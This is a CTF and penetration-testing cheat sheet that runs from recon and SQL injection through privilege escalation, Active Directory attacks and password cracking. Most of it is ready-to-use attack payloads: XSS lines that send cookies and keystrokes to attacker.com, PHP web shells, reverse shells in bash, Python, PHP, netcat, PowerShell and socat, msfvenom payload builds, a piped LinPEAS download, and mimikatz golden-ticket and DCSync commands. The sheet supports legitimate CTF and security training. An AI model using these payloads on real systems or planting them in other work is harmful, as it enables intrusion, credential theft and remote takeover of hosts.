■ CTF MASTER CHEAT SHEET ■

Capture The Flag — Complete Reference Guide

Recon · Web · Crypto · Forensics · Pwn · Reverse · Misc

TABLE OF CONTENTS

■ 1. RECON & OSINT

Passive Recon

WHOIS	`whois target.com`
DNS Lookup	`dig target.com ANY` `nslookup target.com`
Reverse DNS	`dig -x <IP>`
Zone Transfer	`dig axfr @ns1.target.com target.com`
Subdomain Enum	`subfinder -d target.com` `amass enum -d target.com`
Certificate Search	`crt.sh/?q=%.target.com`
Google Dorks	`site:target.com filetype:pdf` `site:target.com inurl:admin`
Shodan	`shodan search hostname:target.com` `shodan host <IP>`
theHarvester	`theHarvester -d target.com -b all`
WaybackMachine	`waybackurls target.com | tee urls.txt`
ASN Lookup	`whois -h whois.radb.net -- "-i origin AS12345"`

Active Recon

Ping Sweep	`nmap -sn 192.168.1.0/24`
Host Discovery	`nmap -PE -PP -PS80,443 -PA3389 10.0.0.0/24`
DNS Brute Force	`gobuster dns -d target.com -w /usr/share/wordlists/dns.txt`
Dir Brute Force	`gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/big.txt`
Feroxbuster	`feroxbuster -u http://target.com -w wordlist.txt -x php,html,txt`
Virtual Hosts	`gobuster vhost -u http://target.com -w vhosts.txt`

■ 2. NETWORK SCANNING (NMAP)

Quick Scan	`nmap -T4 -F target.com`
Full TCP Scan	`nmap -sS -p- -T4 target.com`
Service/Version	`nmap -sV -sC target.com`
OS Detection	`nmap -O target.com`
All-in-One	`nmap -A -T4 -p- target.com`
UDP Scan	`nmap -sU --top-ports 200 target.com`
Vuln Scripts	`nmap --script vuln target.com`
SMB Scripts	`nmap --script smb-enum-shares,smb-vuln* -p445 target.com`
HTTP Scripts	`nmap --script http-enum,http-methods -p80,443 target.com`
Output All Formats	`nmap -oA scan_results target.com`
Firewall Bypass	`nmap -f -D RND:5 target.com`
Idle Scan	`nmap -sI zombie_host target.com`

Common Ports Reference

21-FTP 22-SSH 23-Telnet 25-SMTP 53-DNS 80-HTTP 110-POP3 135-RPC 139/445-SMB

443-HTTPS 465-SMTPS 993-IMAPS 1433-MSSQL 1521-Oracle 3306-MySQL 3389-RDP 5432-PostgreSQL 6379-Redis

■ 3. WEB EXPLOITATION

Enumeration

WhatWeb	`whatweb -v http://target.com`
Nikto	`nikto -h http://target.com -C all`
Tech Detection	`wappalyzer / builtwith.com`
robots.txt	`curl http://target.com/robots.txt`
sitemap.xml	`curl http://target.com/sitemap.xml`
Header Analysis	`curl -I http://target.com`
Cookie Flags	`Check: HttpOnly, Secure, SameSite, Expires`
Source Code	`Ctrl+U / curl -s http://target.com | grep -i "comment|TODO|api"`
JS Files	`curl -s http://target.com | grep -oP "src=["\x27]\K[^"\x27]+"`
API Discovery	`ffuf -u http://target.com/api/FUZZ -w api_wordlist.txt`

OWASP Top 10 Quick Reference

A01 - Broken Access Control	A02 - Crypto Failures
A03 - Injection (SQLi, CMDi)	A04 - Insecure Design
A05 - Security Misconfig	A06 - Vulnerable Components
A07 - Auth Failures	A08 - Software & Data Integrity
A09 - Security Logging Failures	A10 - SSRF

■ 4. SQL INJECTION

Detection & Basic Payloads

Error Test	`' OR '1'='1`
	`' OR 1=1--`
	`" OR ""="`

Comment Syntax	`-- (MySQL/MSSQL)`
	`# (MySQL)`
	`/* */ (All)`

Union Test	`' ORDER BY 1--`
	`' UNION SELECT NULL--`
	`' UNION SELECT NULL,NULL--`

Version	`' UNION SELECT @@version-- (MSSQL/MySQL)` `' UNION SELECT version()-- (PostgreSQL)`
DB Name	`' UNION SELECT database()--` `' UNION SELECT schema_name FROM information_schema.schemata--`
Tables	`' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--`
Columns	`' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--`
Blind Boolean	`' AND 1=1-- (true)` `' AND 1=2-- (false)`
Blind Time	`'; WAITFOR DELAY '0:0:5'-- (MSSQL)` `' AND SLEEP(5)-- (MySQL)`
File Read	`' UNION SELECT LOAD_FILE('/etc/passwd')--`
File Write	`' INTO OUTFILE '/var/www/html/shell.php'--`
Second Order	`Payload stored then executed elsewhere in app`

SQLMap

Basic	`sqlmap -u "http://target.com/page?id=1"`
POST Request	`sqlmap -u "http://target.com/login" --data="user=a&pass=b"`
Cookies	`sqlmap -u "http://target.com/page" --cookie="session=abc"`

Dump DB	`sqlmap -u "..." --dbs`
	`sqlmap -u "..." -D dbname --tables`
	`sqlmap -u "..." -D dbname -T users --dump`

OS Shell	`sqlmap -u "..." --os-shell`
Level/Risk	`sqlmap -u "..." --level=5 --risk=3`
Tamper Scripts	`sqlmap -u "..." --tamper=space2comment,between`
Proxy	`sqlmap -u "..." --proxy=http://127.0.0.1:8080`

■ 5. XSS & CSRF

XSS Payloads

Basic Alert	`<script>alert(1)</script>`
	`<img src=x onerror=alert(1)>`
	`<svg onload=alert(1)>`

Filter Bypass	`<ScRiPt>alert(1)</ScRiPt>`
	`<script>alert`1`</script>`
	`javascript:alert(1)`

Cookie Steal	`<script>document.location="http://attacker.com/?c="+documen t.cookie</script>`
Keylogger	`<script>document.onkeypress=function(e){new Image().src="http://attacker.com/?k="+e.key}</script>`
DOM-Based	`location.hash / document.write(location.hash.substring(1))`
Stored XSS	`Payload saved to DB, executed when viewed`
BeEF Hook	`<script src="http://attacker.com:3000/hook.js"></script>`
CSP Bypass	`Use allowed domains/scripts; JSONP endpoints; base-uri injection`
CSTI	`{{7*7}} / ${7*7} / #{7*7} (Template injection test)`

CSRF

CSRF PoC	`<form action="http://target.com/transfer" method="POST">`
	`<input name="amount" value="1000">`
	`<input type="submit"></form>`

Check	`Missing CSRF token, SameSite=None cookies, no Origin/Referer check`
Bypass	`Change POST to GET, remove token, modify referrer`
Clickjacking	`<iframe src="http://target.com" style="opacity:0;position:absolute">`

■ 6. FILE INCLUSION & UPLOAD

LFI Basic	`?page=../../../../etc/passwd` `?page=....//....//etc/passwd`
LFI PHP Wrappers	`?page=php://filter/convert.base64-encode/resource=index.php` `?page=php://input [POST: <?php system($_GET["cmd"]);?>]`
LFI Log Poison	Inject payload in User-Agent, then include `/var/log/apache2/access.log`
RFI	`?page=http://attacker.com/shell.txt (requires allow_url_include=On)`
Path Traversal	`../` / `..%2F` / `..%252F` / `..%c0%af` / `%2e%2e%2f`
LFI to RCE	`/proc/self/environ`, `/proc/self/fd/`, SSH log, mail log
File Upload Bypass	Change Content-Type to image/jpeg Double extension: shell.php.jpg Null byte: shell.php%00.jpg Magic bytes: add GIF89a; to PHP file
Upload Wordlist	`php, php2, php3, php4, php5, phtml, pHp, PHP, shtml`
WebShell One-liner	`<?php system($_GET["cmd"]); ?>` `<?php passthru($_REQUEST["cmd"]); ?>`

■ 7. CRYPTOGRAPHY

Classic Ciphers

Caesar	`Shift each letter by N; brute force 25 shifts`
ROT13	`Caesar shift 13; echo "text" | tr A-Za-z N-ZA-Mn-za-m`
Vigenere	`Key-based polyalphabetic; use kasiski/IC analysis to find key length`
Substitution	`Frequency analysis; common: E T A O I N S H R`
Atbash	`A=Z, B=Y, ...; reverse alphabet`
Rail Fence	`Write diagonally across rails; read row by row`
Columnar Trans	`Write in rows, reorder columns by key, read columns`
Playfair	`5x5 grid; digraph substitution cipher`
Bacon	`5-bit binary using A/B encoding each letter`
Morse	`.- ... --- / CyberChef or dcode.fr`

Modern Crypto Attacks

RSA Small e	`e=3 with small m: cube root of c = m`
RSA Common N	`Same n, different e: GCD attack recovers factors`
RSA Low e Broadcast	`Same message encrypted to e targets: CRT then e-th root`
RSA Wiener	`Small d: continued fraction expansion of e/n`
Padding Oracle	`CBC bit-flip; padbuster / POODLE`
ECB Mode	`Same plaintext = same ciphertext block; block shuffling`
CBC Bit Flip	`XOR byte in C[n-1] to flip byte in P[n]`
Hash Length Ext	`MD5/SHA1/SHA256: hashpump tool`
XOR Known PT	`key = ciphertext XOR known_plaintext`
OTP Reuse	`c1 XOR c2 = p1 XOR p2; crib dragging`
Factorization	`factordb.com; yafu; msieve; p-1 method`
Discrete Log	`Baby-step giant-step; index calculus`

■ 8. ENCODING & HASHING

Base64	`echo "text" | base64` `echo "dGV4dA==" | base64 -d`
Base32	`python3 -c "import base64; print(base64.b32decode('...'))"`
Base58	`bs58 decode / CyberChef`
Hex	`echo "68656c6c6f" | xxd -r -p` `python3 -c "print(bytes.fromhex('68656c6c6f'))"`
URL Encode	`python3 -c "import urllib.parse;` `print(urllib.parse.quote('text'))"`
HTML Entities	`&#60; = < / &#62; = > / CyberChef magic`
Binary	`python3 -c "print(int('01101000',2))"`
MD5	`echo -n "text" | md5sum`
SHA256	`echo -n "text" | sha256sum`
Identify Hash	`hashid "5f4dcc3b5aa765d61d8327deb882cf99"` `hash-identifier`
CyberChef Magic	`magic op on CyberChef auto-detects encoding chains`
JWT Decode	`jwt.io / python3 jwt decode no verify`
JWT Attack	`Change alg to "none"; RS256 to HS256 with public key`

■ 9. FORENSICS

File Analysis

File Type	`file suspicious_file` `exiftool suspicious_file`
Strings	`strings -n 8 file.bin | grep -i "flag|CTF|key"`
Hex Dump	`xxd file.bin | head -50` `hexdump -C file.bin`
Magic Bytes	`FF D8 FF = JPEG / 89 50 4E 47 = PNG / 47 49 46 = GIF` `50 4B 03 04 = ZIP / 25 50 44 46 = PDF`
Binwalk	`binwalk -e file.bin (extract embedded files)` `binwalk --dd=".*" file.bin`
Foremost	`foremost -i file.bin -o output/`
7zip	`7z l file.zip / 7z x file.zip`
Metadata	`exiftool image.jpg` `mat2 --inplace file (strip metadata)`
Entropy	`binwalk -E file.bin (high entropy = encrypted/compressed)`
Carve Files	`photorec / bulk_extractor`

Memory Forensics (Volatility 3)

Image Info	`vol3 -f mem.raw windows.info`
Process List	`vol3 -f mem.raw windows.pslist` `vol3 -f mem.raw windows.pstree`
Network Conns	`vol3 -f mem.raw windows.netstat`
Dump Process	`vol3 -f mem.raw windows.dumpfiles --pid 1234`
Command Line	`vol3 -f mem.raw windows.cmdline`
Registry Hives	`vol3 -f mem.raw windows.registry.hivelist`
Credentials	`vol3 -f mem.raw windows.hashdump`
Linux Profile	`vol3 -f mem.raw linux.bash` `vol3 -f mem.raw linux.pslist`

Network Forensics

Open PCAP	`wireshark capture.pcap`
Filter HTTP	`tshark -r capture.pcap -Y "http" -T fields -e http.request.uri`
Follow Stream	`tshark -r file.pcap -z follow,tcp,ascii,0`
Extract Files	`tcpflow -r capture.pcap / NetworkMiner`
DNS Exfil	`tshark -r file.pcap -Y "dns" -T fields -e dns.qry.name`
Credentials	`dsniff -p capture.pcap`
Stats	`tshark -r file.pcap -q -z protocol,tree`

■ 10. STEGANOGRAPHY

LSB Analysis	`zsteg image.png -a` `stegsolve.jar (bit planes)`
steghide	`steghide extract -sf image.jpg` `steghide extract -sf image.jpg -p "password"`
outguess	`outguess -r image.jpg output.txt`
stegcracker	`stegcracker image.jpg wordlist.txt`
Stegsolve	`java -jar stegsolve.jar (view bit planes, color channels)`
zsteg	`zsteg -a image.png (all checks)` `zsteg image.png -b 1 -o xy -v`
Audio Steg	`Audacity: spectrogram view` `DeepSound for audio hiding`
Sonic Visualizer	`View spectrogram for hidden images/messages in audio`
MP3Stego	`MP3Stego.exe -x -P password hidden.mp3`
PDF Steg	`pdfextract / binwalk on PDF`
Whitespace	`stegsnow / look for trailing spaces in text`
Zero-width	`zwsp decoder: invisible Unicode chars in text`
Image Diff	`compare -metric AE img1.png img2.png diff.png`
GIF Analysis	`gifsicle -e image.gif (extract frames)`

■ 11. BINARY EXPLOITATION (PWN)

Reconnaissance

File Info	`file binary` `rabin2 -I binary`
Security Checks	`checksec --file=binary` `pwn checksec binary`
Strings	`strings binary | grep -i "flag|pass|key"`
Disassemble	`objdump -d binary | grep -A20 "<main>"`
GDB Setup	`gdb -q binary` `pwndbg / peda / gef (enhanced GDB)`
GDB Commands	`break main / run / next / step / continue` `info registers / x/20wx $esp / disas main`
ltrace/strace	`ltrace ./binary (lib calls)` `strace ./binary (sys calls)`

Radare2	`r2 binary`
	`aaa (analyze)`
	`afl (list functions)`
	`pdf @main (disassemble main)`

Attack Techniques

Buffer Overflow	`python3 -c "print('A'*100)" | ./binary`
	`cyclic 200 (pwntools pattern)`
	`cyclic -l 0x6161616e (find offset)`

ROP Chain	`ROPgadget --binary binary --rop` `ropper -f binary --search "pop rdi"`
ret2libc	`Find system/"/bin/sh" in libc` `pwn.ELF('libc.so').symbols['system']`
GOT/PLT Overwrite	`Overwrite GOT entry to redirect function calls`

Format String	`%p %p %p (leak addresses)`
	`%n (write to address)`
	`%7$n (write to 7th arg)`

Heap	`use-after-free, double-free, heap overflow` `fastbin attack, tcache poisoning`
ASLR Bypass	`Leak libc/stack address via format string or use-after-free`
PIE Bypass	`Leak code address; compute base = leaked - offset`
Stack Canary	`Leak canary via format string / brute force (fork)`

pwntools Template	`from pwn import *`
	`p=process('./binary')`
	`elf=ELF('./binary')`
	`p.sendline(b'A'*offset+p64(ret_addr))`
	`p.interactive()`

■ 12. REVERSE ENGINEERING

Static Analysis	`file binary / strings binary / readelf -a binary`
Ghidra	`ghidraRun (Open project, import binary, analyze, decompile)`
IDA Free	`Static + dynamic; decompiler with Hex-Rays plugin`

Radare2	`r2 -A binary`
	`pdf @sym.main`
	`VV (visual mode)`

Binary Ninja	`Commercial; great IL/HLIL decompilation`
Decompile Python	`uncompyle6 / decompile3 / pyc_disassemble`
Java / APK	`jadx-gui file.apk` `jad / procyon for .class files`
.NET	`dnSpy / ILSpy / dotPeek`
Dynamic Analysis	`gdb / x64dbg (Windows) / frida`
Anti-Debug Bypass	`ptrace check, timing checks; NOP or patch jumps`
Packing/UPX	`upx -d packed_binary (unpack)` `detect-it-easy / exeinfope`
WASM	`wasm2wat binary.wasm (binary to text)` `wasm-decompile binary.wasm`

Angr Symbolic	`import angr`
	`p=angr.Project("binary")`
	`simgr=p.factory.simulation_manager()`
	`simgr.explore(find=0xdeadbeef)`
	`print(simgr.found[0].posix.dumps(0))`

Z3 Solver	`from z3 import *`
	`x=Int("x")`
	`s=Solver()`
	`s.add(x*3==42)`
	`print(s.model())`

■ 13. LINUX PRIVILEGE ESCALATION

System Info	`uname -a`
	`cat /etc/os-release`
	`lsb_release -a`

Current User	`id / whoami / groups`
Sudo Rights	`sudo -l`
SUID Binaries	`find / -perm -4000 -type f 2>/dev/null`
GUID Binaries	`find / -perm -2000 -type f 2>/dev/null`
World Writable	`find / -writable -type d 2>/dev/null`

Cron Jobs	`cat /etc/crontab`
	`ls /etc/cron.*`
	`crontab -l`

PATH Hijack	`echo $PATH; look for . or writable dir first in PATH`
Capabilities	`getcap -r / 2>/dev/null`
Running Services	`ps aux / netstat -tulpn / ss -tlnp`
Config Files	`find / -name "*.conf" -o -name "*.cfg" 2>/dev/null | xargs grep -l "password"`
SSH Keys	`find / -name "id_rsa" 2>/dev/null` `cat ~/.ssh/authorized_keys`
History Files	`cat ~/.bash_history ~/.zsh_history ~/.mysql_history`
Kernel Exploits	`uname -r; search CVE; DirtyCow, DirtyPipe (CVE-2022-0847)`
LinPEAS	`curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh`
LinEnum	`wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh && bash LinEnum.sh`
GTFOBins	`gtfobins.github.io (SUID/sudo escape techniques)`
NFS No Root	`cat /etc/exports (look for no_root_squash)`
Docker Escape	`docker run -v /:/mnt --rm -it alpine chroot /mnt sh`

■ 14. WINDOWS PRIVILEGE ESCALATION

System Info	`systeminfo`
	`whoami /all`
	`net user %username%`

Local Users	`net user / net localgroup administrators`
Installed Apps	`wmic product get name,version` `reg query HKLM\SOFTWARE`
Running Services	`sc query / tasklist /svc / Get-Service`
Scheduled Tasks	`schtasks /query /fo LIST /v`
AlwaysInstallElev	`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated`
Unquoted Service	`wmic service get name,pathname | findstr /i /v "C:\Windows"`
Weak Service Perm	`accesschk.exe -uwcqv "Everyone" *` `sc config <svc> binpath= "cmd.exe /c whoami > C:\out.txt"`
DLL Hijacking	`Procmon for NAME NOT FOUND; place malicious DLL`
Token Imperson.	`whoami /priv (look for SeImpersonatePrivilege)` `PrintSpoofer / JuicyPotato / RoguePotato`

Stored Creds	`cmdkey /list`
	`wmic useraccount get /all`
	`vault::cred (mimikatz)`

Pass-the-Hash	`mimikatz sekurlsa::pth /user:admin /ntlm:HASH /domain:DOM`
WinPEAS	`.\winPEASany.exe`
PowerUp	`Import-Module PowerUp.ps1; Invoke-AllChecks`
SharpUp	`.\SharpUp.exe audit`

■ 15. ACTIVE DIRECTORY

Enum (BloodHound)	`SharpHound.exe -c All` `python3 bloodhound-python -u user -p pass -d domain.local -c All`
Enum (PowerView)	`Get-NetDomain / Get-NetUser / Get-NetGroup` `Get-NetComputer / Find-LocalAdminAccess`
LDAP Query	`ldapsearch -x -h DC -D "user@domain" -w pass -b "DC=domain,DC=local"`
Kerberoasting	`GetUserSPNs.py domain/user:pass -request` `hashcat -m 13100 hashes.txt wordlist.txt`
AS-REP Roast	`GetNPUsers.py domain/ -no-pass -usersfile users.txt` `hashcat -m 18200 hashes.txt wordlist.txt`
Pass Spray	`kerbrute passwordspray users.txt "Password123" --dc 10.0.0.1 -d domain.local`
PTH (psexec)	`psexec.py domain/admin@10.0.0.1 -hashes :NTLMHASH`
DCSync	`secretsdump.py domain/admin@DC -hashes :HASH` `mimikatz lsadump::dcsync /domain:dom /user:krbtgt`
Golden Ticket	`mimikatz kerberos::golden /user:admin /domain:dom /sid:S-1-5 /krbtgt:HASH /ptt`
Silver Ticket	`mimikatz kerberos::golden /user:admin /domain:dom /sid:S-1-5 /target:SRV /service:http /rc4:HASH /ptt`
Pass-the-Ticket	`mimikatz kerberos::ptt ticket.kirbi`
NTLM Relay	`responder -I eth0 -rdw` `ntlmrelayx.py -tf targets.txt -smb2support`
SMB Shares	`smbclient -L //10.0.0.1 -U user%pass` `spider_plus from CrackMapExec`
CrackMapExec	`cme smb 10.0.0.0/24 -u user -p pass --shares` `cme smb hosts.txt -u admin -H HASH --sam`

■ 16. PASSWORD CRACKING

Hashcat Modes	`-m 0 = MD5`
	`-m 100 = SHA1`
	`-m 1000 = NTLM`
	`-m 1800 = sha512crypt`
	`-m 2500 = WPA2`
	`-m 13100 = Kerberoast`
	`-m 22000 = WPA-PBKDF2`

Hashcat Attacks	`-a 0 = Dictionary`
	`-a 1 = Combination`
	`-a 3 = Brute-force mask`
	`-a 6 = Dict + mask`
	`-a 7 = Mask + dict`

Hashcat Dict	`hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt`
Hashcat Brute	`hashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a`
Hashcat Rules	`hashcat -m 0 hash.txt rockyou.txt -r rules/best64.rule`
Hashcat Mask	`?l=lower ?u=upper ?d=digit ?s=special ?a=all` `hashcat -m 0 hash.txt -a 3 ?u?l?l?d?d`
John the Ripper	`john hash.txt --wordlist=rockyou.txt` `john hash.txt --format=md5crypt`
John Rules	`john hash.txt --wordlist=rockyou.txt --rules=best64`
John Show	`john hash.txt --show`
Identify Hash	`hashid hash / haiti hash / hash-identifier`
Online Crackers	`crackstation.net / hashes.com / md5decrypt.net`
Zip/RAR	`zip2john file.zip > hash.txt && john hash.txt` `rar2john file.rar > hash.txt && john hash.txt`
PDF Password	`pdf2john.pl file.pdf > hash.txt && john hash.txt`
SSH Key	`ssh2john id_rsa > hash.txt && john hash.txt`

■ 17. MISCELLANEOUS

Shells & Reverse Shells

Listener	`nc -lvnp 4444` `python3 -m http.server 8080`
Bash RevShell	`bash -i >& /dev/tcp/10.0.0.1/4444 0>&1`
Python RevShell	`python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('10.0.0.1',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh'])"`
PHP RevShell	`php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'`
NC RevShell	`nc -e /bin/sh 10.0.0.1 4444` `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f`
PowerShell	`powershell -nop -c "$client=New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);..."`

Upgrade Shell	`python3 -c "import pty;pty.spawn('/bin/bash')"`
	`Ctrl+Z; stty raw -echo; fg`
	`export TERM=xterm`

Msfvenom	`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf > shell.elf` `msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > shell.exe`

File Transfer

Python HTTP	`python3 -m http.server 8080` `curl http://10.0.0.1:8080/file -o file`
SCP	`scp user@10.0.0.1:/path/file .` `scp file user@10.0.0.1:/tmp/`
Base64 Transfer	`base64 file | xclip` `echo "BASE64" | base64 -d > file`
NC Transfer	`recv: nc -lvnp 4444 > file` `send: nc 10.0.0.1 4444 < file`
Certutil (Win)	`certutil -urlcache -f http://10.0.0.1/file C:\file`
PowerShell (Win)	`(New-Object Net.WebClient).DownloadFile("http://10.0.0.1/file","C:\file")`
SMB Server	`impacket-smbserver share $(pwd) -smb2support` `copy \\10.0.0.1\share\file .`

■ 18. CTF TOOLS REFERENCE

Tool	Category	Purpose
CyberChef	*General*	Swiss army knife for encoding/decoding/crypto
Burp Suite	*Web*	HTTP proxy, scanner, intruder, repeater
OWASP ZAP	*Web*	Open-source web app scanner
SQLMap	*Web*	Automated SQL injection
ffuf	*Web*	Fast web fuzzer for dirs, params, vhosts
Gobuster	*Web*	Dir/DNS/vhost brute forcer
Nmap	*Network*	Port scanner and service detection
Wireshark	*Network*	GUI packet analyzer
tshark	*Network*	CLI packet analyzer
Metasploit	*Exploitation*	Exploit framework with payloads and modules
pwntools	*Pwn*	CTF framework for binary exploitation
GDB + pwndbg	*Pwn*	Debugger with enhanced CTF features
ROPgadget	*Pwn*	Find ROP gadgets in binaries
Ghidra	*Reversing*	NSA reverse engineering framework
Radare2	*Reversing*	Open source RE framework
angr	*Reversing*	Binary analysis and symbolic execution
Volatility 3	*Forensics*	Memory forensics framework
Autopsy	*Forensics*	Digital forensics platform
binwalk	*Forensics*	Firmware/file analysis and extraction
steghide	*Stego*	Steganography hide/extract
zsteg	*Stego*	PNG/BMP steganography detection
Stegsolve	*Stego*	Image steganography viewer
hashcat	*Crypto*	GPU-accelerated password cracker
John the Ripper	*Crypto*	CPU password cracker
SageMath	*Crypto*	Math software for crypto challenges
pycryptodome	*Crypto*	Python crypto library
BloodHound	*AD*	AD attack path visualization
Impacket	*AD*	Python AD/network protocol tools
CrackMapExec	*AD*	Swiss army knife for Windows networks
Responder	*AD*	LLMNR/NBT-NS/MDNS poisoner
LinPEAS/WinPEAS	*PrivEsc*	Automated privilege escalation enum

■ 19. USEFUL ONE-LINERS & QUICK TIPS

Grep for flags	`grep -rn "CTF{|FLAG{|flag{" / 2>/dev/null`
Find SUID	`find / -perm /4000 2>/dev/null | xargs ls -la`
Port forward SSH	`ssh -L 8080:127.0.0.1:80 user@target (local forward)` `ssh -R 9090:127.0.0.1:80 user@attacker (remote forward)`
Dynamic SOCKS	`ssh -D 1080 user@target` `proxychains nmap -sT -Pn target2`
Chisel Tunnel	`server: chisel server -p 8000 --reverse` `client: chisel client attacker:8000 R:9001:127.0.0.1:9001`
URL Fuzz (ffuf)	`ffuf -u http://target/FUZZ -w wordlist.txt -mc 200,301,302 -t 100`
Param Fuzz	`ffuf -u "http://target/page?FUZZ=value" -w params.txt`
Subdomain Fuzz	`ffuf -u http://FUZZ.target.com -w subdomains.txt -H "Host: FUZZ.target.com"`
XSS Hunter	`Use xss.report or interact.sh for blind XSS callbacks`
SSRF Test	`http://169.254.169.254/latest/meta-data/ (AWS metadata)`
Python HTTP POST	`python3 -c "import urllib.request; urllib.request.urlopen(urllib.request.Request('http://x',b'data'))"`
Hex to ASCII	`echo "48656c6c6f" | xxd -r -p`
ROT13	`echo "text" | tr A-Za-z N-ZA-Mn-za-m`
Base64 loop	`for enc in \$(cat encoded.txt); do echo \$enc | base64 -d; done`
Extract IPs	`grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' file.txt | sort -u`
Watch file	`watch -n1 cat /tmp/output.txt`
Tcpdump capture	`tcpdump -i eth0 -w cap.pcap port 80 or port 443`
Crack JWT	`import jwt; jwt.decode(token, options={'verify_signature':False})`
Quick HTTP server	`php -S 0.0.0.0:8080` `npx http-server -p 8080`

Socat RevShell	`attacker: socat TCP-L:4444 FILE:`tty`,raw,echo=0`
	`target: socat TCP:attacker:4444`
	`EXEC:/bin/bash,pty,stderr,setsid,sigint,sane`

AD: Spray safe	`Use --jitter and --delay in kerbrute to avoid lockout`

Wordlists	`/usr/share/wordlists/rockyou.txt`
	`/usr/share/seclists/ (huge collection)`
	`/usr/share/wordlists/dirb/ (web paths)`

■ HAPPY HACKING ■ ALWAYS HACK ETHICALLY ■

For CTF practice: HackTheBox · TryHackMe · PicoCTF · CTFtime.org · pwn.college